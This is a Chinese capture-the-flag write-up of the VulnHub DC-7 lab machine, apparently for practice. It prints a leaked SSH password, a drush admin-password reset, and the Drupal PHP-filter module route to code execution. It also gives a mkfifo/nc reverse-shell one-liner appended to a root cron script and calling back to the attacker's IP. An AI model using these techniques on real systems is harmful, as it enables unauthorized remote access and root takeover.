vulnhub靶场,DC-7
环境准备
靶机下载地址:https://www.vulnhub.com/entry/dc-7,356/
攻击机:kali(192.168.58.130)
靶机:DC-7(192.168.58.150)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式
信息收集
使用arp-scan确定目标靶机
确定目标靶机IP为192.168.58.150
使用nmap扫描查看目标靶机端口开放情况
开放端口:22、80
浏览器访问浏览器80端口
发现网站CMS也为drupal,使用同DC-1的方法发现并不能成功
点击右上角log in,使用暴力破解也无果
回到网站首页发现意思要我们“跳出框框”思考
左下角也发现多了一个@DC7USER,上浏览器搜索试试
发现这是里面有一个staffdb的源码文件夹,并给了提示这源码是DC-7靶机的突破口
将源码下载到本地
进入staffdb文件,查看当前目录下的文件,发现一个config.php的文件,查看其内容
发现里面存在一个账号和密码
渗透过程
使用dc7user:MdR3xOgB7#dW进行ssh远程连接
查看当前目录下的所有文件,发现两个文件
查看mbox的内容
发现在/opt/scripts/下存在一个可执行文件backups.sh,并且每15分钟会备份一次
进入backups目录,发现存在两个gpg文件
进入/opt/scripts/目录,查看可执行文件backups.sh的内容
发现命令drush,tar,gpg,chown,rm
网上查找资料drupal8怎么修改密码
drush user-password admin --password="123456"
使用admin:123456登入网站后台
在Content—>Add content–>Basic page下,准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码,百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入
PHP介绍页面如下,模块包下载地址如下
https://www.drupal.org/project/php
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
然后点击Manage,再点击Extend,再点击Install new module
将模块包url填入进入,点击install
然后选择Enable newly added modules
然后需要将PHP Filter打上勾,再点击intsall
回到网站主页面,点击Edit
现在就可以支持PHP代码了
在Body里面先写入测试语句,点击save进行保存
可以看到PHP代码成功执行
使用nc反弹shell
kali终端:
DC-7:
点击save保存,可以看到kali这边成功反弹到一个shell
提权过程
进入/opt/scripts目录,在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.58.130 3333 >/tmp/f" >> backups.sh
然后kali终端使用nc监听3333端口
等待这个文件自动更新,发现会反弹到一个shell,进入root目录,查看当前目录下的文件,成功获得flag,DC-7靶机渗透结束